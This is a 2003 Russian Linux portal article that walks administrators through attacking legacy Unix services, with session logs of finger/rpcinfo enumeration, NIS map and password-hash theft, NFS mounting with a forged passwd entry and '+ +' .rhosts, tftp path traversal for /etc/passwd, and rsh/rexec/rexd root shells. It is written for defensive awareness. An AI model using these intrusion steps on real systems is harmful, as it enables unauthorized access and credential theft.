Наши
Сайдбары
   
IRC-канал
Linuxportal.ru
   
Импорт новостей
 
Вход Быстрая регистрация На главную

Поиск:
 
   БИБЛИОТЕКА
     Другие статьи этого раздела:
 

    Сеть
Другие разделы библиотеки:
   БИБЛИОТЕКА
     последние поступления:
 

Hardware
Перевод Serial-Programming-HOWTO
15.05.2006 | San АНДРЕЕВ
Перевод Linux Power Management Support
03.04.2004 | San АНДРЕЕВ
Варианты решения проблем со смещением геометрии монитора.
10.10.2003 | EsTaF
Multimedia
VideoCD для пингвинов
10.10.2003 | Buddha
Смотрим любимые фильмы с помощью MPlayer
23.07.2003 | Alexey Dmitriev
X-сервер
Включаем Bytecode Interpreter в пакете freetype в некоторых дистрибутивах
05.07.2006 | Alexey Dmitriev
НАСТРОЙКА СЕРВЕРА XDMCP ДЛЯ WINDOWS-КЛИЕНТОВ
09.09.2004 | Kotjara
Type1 и truetype шрифты в LaTeX.
03.05.2004 | geekkoo
Разное
Как самому написать концепцию информационной безопасности
22.03.2007 | Crion
Список рекомендуемой литературы
11.09.2006 | San АНДРЕЕВ
The Multi Router Traffic Grapher
02.06.2004 | Crion
Сеть
"Огненная стена" или строим файрвол на базе iptables
15.03.2005 | Alexey Dmitriev
Защищенная почтовая система
08.09.2004 | Crion
Postfix+Cyrus-SASL
18.12.2003 | geekkoo
Система
Написание драйверов под Linux: рекомендации, типичные ошибки и ловушки.
16.01.2007 | Mr.Nobody
Перевод Linux Daemon HOWTO
21.08.2006 | San АНДРЕЕВ
Усыпляем компьютер
11.01.2006 | San АНДРЕЕВ
   БИБЛИОТЕКА Сеть    
Автор статьи: crazy_scream
Дата: 30.07.2003

Некоторые аспекты защиты компьютера от взлома

Советы начинающему системному администратору.

Данная статья не является претендентом на оргинальность или новизну. Она предназначена и ориентированна на широкую аудиторию. Цель этой статьи заключается в том чтобы показать людям возможные дыры в их системах защиты. Просто большинство администраторов недооценивают возможный уровень атакующего и строят свою систему на банальных и простых приципах. Конечно же самым лучшим способом обезопасить себя от возможных атак будет выключение сервера из сети... Но тем не менее это не выход.

Бытует мнение что большинство атак удаётся из-за слабых паролей, на самом же деле множество атак использует более сложный способ. Эти способы менее известны и их трудно обнаружить.
Чтобы защититься от таких проникновений необходимо понимать их. Постараюсь пояснить некоторые из них... Большинство книг и документов посвященных защите смотрят на нее глазами администратора - человека который сидит внутри системы и иногда плохо представляет ее внешние границы.
Давайте отойдем от привычных представлений о системе защиты. Посмотрим на нее глазами потенциального взломщика. Для этого человека ваша система - черный ящик. Показывая что он может сделать для того чтобы получить доступ на ваш компьютер,я попытаюсь помочь системным администраторам получит представление
о там на сколько реально защищен ваш хост.

Я не собираюсь раскрывать и расписывать здесь все технологии
взлома - их количество растет каждый день. Системы усовершенствуются - изменяются технологии. Какую информацию мы можем получить об удаленной системе? Существует множество сетевых сервисов к которым следует обратиться: finger, rusers, showmount, rpcinfo, dns, ftp, sendmail... В идеале стоит собирать всю возможную информацию - информация это власть.

Давайте попробуем. Что мы можем узнать?

0. Возможно не плохой шаг сначала узнать возможные allias, имя nameserver и состав сети в которой стоит этот хост. В этом может помочь nslookup (курите man nslookup).
1. finger и rusers:
crazy# finger @www.xxx.xxxx.ru
[www.xxx.xxxx.ru]
Login Name TTY Idle When Office
yarcev Dmiyriy Yarcev p0 1:57 Sun 08:25
volponova Elena Volponova p1 2:38 Sun 08:26
milichen Yuri Mulichenko p4 2:59 Fri 19:41 3B/r410 1-35-13
shamov Eugeny Shamov p5 9:00 Sat 10:18 221/r448 1-77-33

crazy# finger yarcev@myxxx.xx.ru
[myxxx.xx.ru]
Login: Yarcev Name: Dmiyry Yarcev
Directory: /home/yarcev Shell: /bin/bash
On since Sat Apr 12 12:24 (MSK) on ttyp0 from jannet.xxxx.xxxx
3 hours 35 minutes idle
Mail forwarded to yarcev@myxxx.xx.ru
No mail.
No Plan.

crazy# rusers -l usxxx.xxxxx-xxx.net
Login Name TTY When Idle Host
lavrov usxxx.xxxxx-xxx:console Apr 2 10:32 17:37
suh usxxx.xxxxx-xxx:ttyp0 Apr 5 10:20 17:32 (mskws.desy.de)
lavrov usxxx.xxxxx-xxx:ttyp1 Apr 2 11:21 25:55 (:0.0)
lavrov usxxx.xxxxx-xxx:ttyp2 Apr 2 10:33 97:11 (:0.0)
...

Эти сервисы дают нам аккаунты, позволяют нам узнать кто в данный момент работает в системе, их shell и домашний каталог, возможно имена доверенных хостов. Обратите внимание на графу Idle, если в ней стоит несколько часов, то скорее всего в данный момент никто не обратит на вас внимание.

2. rpcinfo:

crazy# rpcinfo sun10.xxx.xxx.su
program version netid address service owner
100000 2 tcp 0.0.0.0.0.111 rpcbind unknown
100000 2 udp 0.0.0.0.0.111 rpcbind unknown
100004 2 udp 0.0.0.0.2.150 ypserv unknown
100004 2 tcp 0.0.0.0.2.151 ypserv unknown
100004 1 udp 0.0.0.0.2.150 ypserv unknown
100004 1 tcp 0.0.0.0.2.151 ypserv unknown
100069 1 udp 0.0.0.0.2.152 - unknown
100069 1 tcp 0.0.0.0.2.154 - unknown
100007 2 tcp 0.0.0.0.4.0 ypbind unknown
100007 2 udp 0.0.0.0.4.3 ypbind unknown
100007 1 tcp 0.0.0.0.4.0 ypbind unknown
100007 1 udp 0.0.0.0.4.3 ypbind unknown
100028 1 tcp 0.0.0.0.2.156 ypupdated unknown
100028 1 udp 0.0.0.0.2.158 ypupdated unknown
100009 1 udp 0.0.0.0.3.255 yppasswdd unknown
100029 1 udp 0.0.0.0.2.159 keyserv unknown
100003 2 udp 0.0.0.0.8.1 nfs unknown
100005 1 udp 0.0.0.0.2.223 mountd unknown
100005 2 udp 0.0.0.0.2.223 mountd unknown
100005 1 tcp 0.0.0.0.2.226 mountd unknown
100005 2 tcp 0.0.0.0.2.226 mountd unknown
100024 1 udp 0.0.0.0.2.226 status unknown
100024 1 tcp 0.0.0.0.2.228 status unknown
100021 1 tcp 0.0.0.0.2.229 nlockmgr unknown
...

rpcinfo дает информацию о запущенных RPC сервесах. Наиболее
интересны из них mountd, nisd, ypserv и ypbind, statd, bootparam, pcnfsd, rexd. statd позволяет стереть удаленно любой файл
(rs host //../../../../../../../../../etc/passwd),

pcnfsd и mountd дают доступ к дискам машины, rexd - удаленное
выполнение команд.

3. NIS (nisd, ypbind, ypserv).
Если эта машина является NIS сервером, то зная NIS имя домена вы можете получить любые NIS карты простым rpc запросом. Обычно это имя совпадает с именем домена и можно попытаться его угадать:

crazy# ypx -dg .xxx.ru
Trying domain .xxx.xxx.ru
Trying domain xxxx
Trying domain xxx.xxx.ru
sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
sybase:*:13:55:syb:/usr/nms/sybase:/bin/csh
nobody:*:65534:65534::/:
daemon:*:1:1::/:
audit:*:9:9::/etc/security/audit:/bin/csh
uucp:*:4:8::/var/spool/uucppublic:
sync:__F324VMRDcL6:1:1::/:/bin/sync
root:__Ye.Ibw.8uQg:0:3:Operator:/:/bin/csh
news:*:6:6::/var/spool/news:/bin/csh
sys:*:2:2::/:/bin/csh
snm:__7ck.pfEh/2s:11:11:Network Manager:/usr/snm:/bin/csh
rom:__IriAsoksSeE:10:10:Victor Romanchik:/usr/rom:/bin/csh
nms:*:12:55:Network Manager:/usr/nms:/bin/csh
bin:*:3:3::/bin:
YP map transfer successfull.

(мы заменили первые два символа каждого пароля на '__' и изменили имена здесь и далее в тексте)
Если угадать NIS имя домена не удается, возможно получить его через bootparam сервис или подсмотреть в директории /var/yp, если она доступна публично.

4. showmount:

crazy# showmount -e xxxx.xxxxx.ru
export list for xxxx.xxxxx.ru:
/pub (everyone)
/opt xxxxxxxxxx
/pgm/linux (everyone)
/export (everyone)
/usr (everyone)
/tftpboot (everyone)
/cdrom/ (everyone)
/home (everyone)
/scratch/users (everyone)

С помощью showmount мы узнали о разделах, предоставляемых этим хостом, о правах доступа к ним и возможно о доверенных хостах. Такие важные каталоги как export, home, usr доступны всем!

Попробуем...

crazy# mount -F nfs xxxx.xxxxx.su:/home /mnt
crazy# cd /mnt
crazy# ls -al

total 12524
drwxr-xr-x 17 root root 1024 Jun 28 1996 .
drwxr-xr-x 28 root root 1024 Apr 12 16:29 ..
drwxr-xr-x 2 root root 512 May 19 1995 TT_DB
drwxr-xr-x 3 root 798 512 Nov 25 1994 cfi
drwxr-xr-x 6 root 100 512 Nov 25 1994 dug
drwxr-xr-x 9 root other 512 Feb 17 11:19 lcta
drwxr-xr-x 3 root other 512 Jun 19 1996 lhep
drwxr-xr-x 6 root other 512 Feb 14 11:16 lnp
drwxr-xr-x 6 root other 512 Feb 14 11:19 lnup
drwxr-xr-x 4 root other 512 Jan 15 1995 lnur
....

crazy# cd lnup
crazy# ls -al
total 12
drwxr-xr-x 6 root other 512 Feb 14 11:19 .
drwxr-xr-x 17 root root 1024 Jun 28 1996 ..
drwxr-xr-x 3 6000 600 512 Oct 30 1995 dolbilov
drwxr-xr-x 9 6190 600 1024 Oct 7 1996 davgun
drwxr-xr-x 4 6001 600 512 Oct 20 1995 gvf
drwxr-xr-x 4 6003 600 512 Apr 4 10:31 yup

crazy# echo 'dolbilov::600:' >> /etc/groups
crazy# echo 'dolbilov:x:6000:600::/noway:/bin/csh' >> /etc/passwd
crazy# su dolbilov
$ cd dolbilov
$ ls -al
total 30
drwxr-xr-x 3 dolbilov dolbilov 512 Apr 12 16:21 .
drwxr-xr-x 6 root other 512 Feb 14 11:19 ..
-rw-r--r-- 1 dolbilov dolbilov 2901 Apr 7 1993 .cshrc
-rw-r--r-- 1 dolbilov dolbilov 1550 Apr 7 1993 .login
-rw-r--r-- 1 dolbilov dolbilov 2750 Apr 7 1993 .rootmenu
-rw-r--r-- 1 dolbilov dolbilov 478 Apr 7 1993 .sunview
-rw------- 1 dolbilov dolbilov 2196 Oct 30 1995 mbox
drwxr-xr-x 2 dolbilov dolbilov 512 Nov 25 1994 timezone
$ echo '+ +' > .rhosts
$ exit
crazy# rsh -l dolbilov thsun1.xxxx.xxxxx.su /bin/csh -i
$

Таким образом мы получили shell на удаленной машине.

5. sendmail:

crazy# telnet 25
Trying 193.124.xxx.xx...
Connected to
Escape character is '^]'.
220 ESMTP Sendmail 8.8.5/8.8.5; Sun, 10 Nov 2002 15:55:36 +0400
vrfy serg
550 serg... User unknown
vrfy alex
250 Alexei E. Katov
...

Так мы попытались угадать несколько системных аккаунтов и конечно записали версию sendmail'a - программы содержащей легендарное количество ошибок. Не будем заострять на них внимания. Новые версии выходять регулярно, старые ошибки исправляются, появляются новые.

6. tftp:
tftp широко известная программа похожая на ftp, служит для
простейшего трансфера файлов. Ошибки в ней известны и исправлены в
большинстве ОС, но и нижеследующий пример можно встретить:

crazy# tfp
tftp> get /tmp/../../../../../../../../../etc/passwd /tmp/passwd
tftp> quit
crazy#

7. ftp:
Сервис ftp является не только удобным, но и опасным для вашей
системы. Опасность представляет не только возможность украсть доверенную информацию или занести свою при неправильной конфигурации демона. Опасность представляет возможное крушение демона командами пользователя.

crazy# ftp xxxxxxxxxxx.xxx.com
Connected to xxxxxxxxxxx.xxx.com.
220 xxxxxxxxxxx FTP server (UNIX(r) System V Release 4.0) ready.
Name (xxxxxxxxxxx.xxx.com:root): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> user root
530 User root unknown.
Login failed.
ftp> user root
530 User root unknown.
Login failed.
ftp> user foobar
530 User foobar access denied.
Login failed.
ftp> quote pasv
421 Service not available, remote server has closed connection
ftp> o xxxxxxxxxxx.xxx.com
Connected to xxxxxxxxxxx.xxx.com.
220 xxxxxxxxxxx FTP server (UNIX(r) System V Release 4.0) ready.
Name (xxxxxxxxxxx.xxx.com:root): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> bin
200 Type set to I.
ftp> get core
200 PORT command successful.
150 Binary data connection for core (194.хх.ххх.ххх,51553) (281136 bytes).
226 Binary Transfer complete.
local: core remote: core
281136 bytes received in 16 seconds (17 Kbytes/s)
ftp> bye
221 Goodbye.
crazy#

/********** Fragment of core ************/
....994:..S.:.
srk:__a2U/fw.FWhk:....::::..S
harat:__mQb7Pij8mrA:....::::..S@
kchu:__/sPKnswJ8y2:9....::::..S`
yhew:__0/L6foNhPoA:9....:::: ..S.
:h6qh9see7ry .M:9353:....:.
pa ..S.WGZ/NEzsLjwe 2:9097::.....
flo ..S.Xbra.0mg/PMc :9097:::....
dave ..S.0VnE0zICamE: 9097::::....
on:2 ..T.VqQO2BOU:909 7::::::.....:
/****************************************/

7. rexd:

crazy# su daemon
$ on -i faxnetxx.xxx.ru /bin/sh -i
$ uname -a
faxnetxx faxnetxx 3.2 2 i386
$ id
uid=1(daemon) gid=1(other)
$

8. Сканирование портов.

Портмэппер сообщает только о rpc сервисах. О остальных запущенных сервисах можно узнать прямым сканированием портов. Приведем только наиболее важныее порты:

а) X server.
X сервер базируется на портах 6000 + номер дислея. Если Х сервер не использует для аутенфикации magic cookies или защита отключена командой 'xhost +', информация с его дисплеев может быть
подсмотрена или украдена, нажатия клавиш записаны, программы -
запущены удаленно(xspy, xpush, etc). Если хост поддерживает
соединение к 6000 порту то это может быть использовано для
denial_of_service аттак.

б) rlogin и talkd.
В большинстве систем эти сервисы имеют ошибки связанные с
переполнением буфера. rlogin пытается получить от удаленной системы переменную TERM, а talkd - узнать имя хоста требующего соединение. Если эти демоны получают в ответ строку большой длинны то происходит переполнение буфера. Это дает возможность выполнить
удаленно комманды с привилегиями root.(rlogin & talkd exploits).

в) rsh и rexec.
rsh и rexec позволяют получить коммандную оболочку не оставляя
записей в log-файлах. Кроме того эти сервисы не отслеживают запрет
на удаленный root логин (/etc/default/login).

crazy# rsh -l smtp xxxx.xxx.ru /bin/csh -i
Warning: no access to tty; thus no job control in this shell...
# id
uid=0(root) gid=0(root)
...

crazy# nc -v xxxx.xxx.ru 512
xxxx.xxx.ru [194.85.xxx.xxx] 512 (exec) open
^@root^@rootpasswd^@/bin/csh -i^@
Warning: no access to tty; thus no job control in this shell...
# id
uid=0(root) gid=1(other)
...

Заключение

Ну вот собственно и всё! Конечно же это только малая толика
затронутой темы! Но почему-то как раз большинство админов даже понятия не имеет о "дырявости" своей системы... Практически всё описанное реализованно ресурсами Linux Red Hat 7.2
Что говорит об универсальности этой системы. При наличии рук
растущих из нужного места) она превращается в мощный инструмент
защиты и нападения.

зы. Все представленные примеры были изменены! По причине того, что
я писал не пособие для начинающих рукодельниц, по технике вышивания крестиком... А описывал распространенные и не совсем, дыры в защите систем.



Все статьи раздела "Сеть"

©"Linuxportal.Ru". Материалы сайта можно
использовать свободно при условии
сохранения этой свободы при дальнейшем
распространении, если явно не указано иное

Дизайн и программирование:

Поставьте
нашу кнопку:
Получить код кнопки
Linux Portal.ru ::: Линукс Портал.ру
Наш партнер: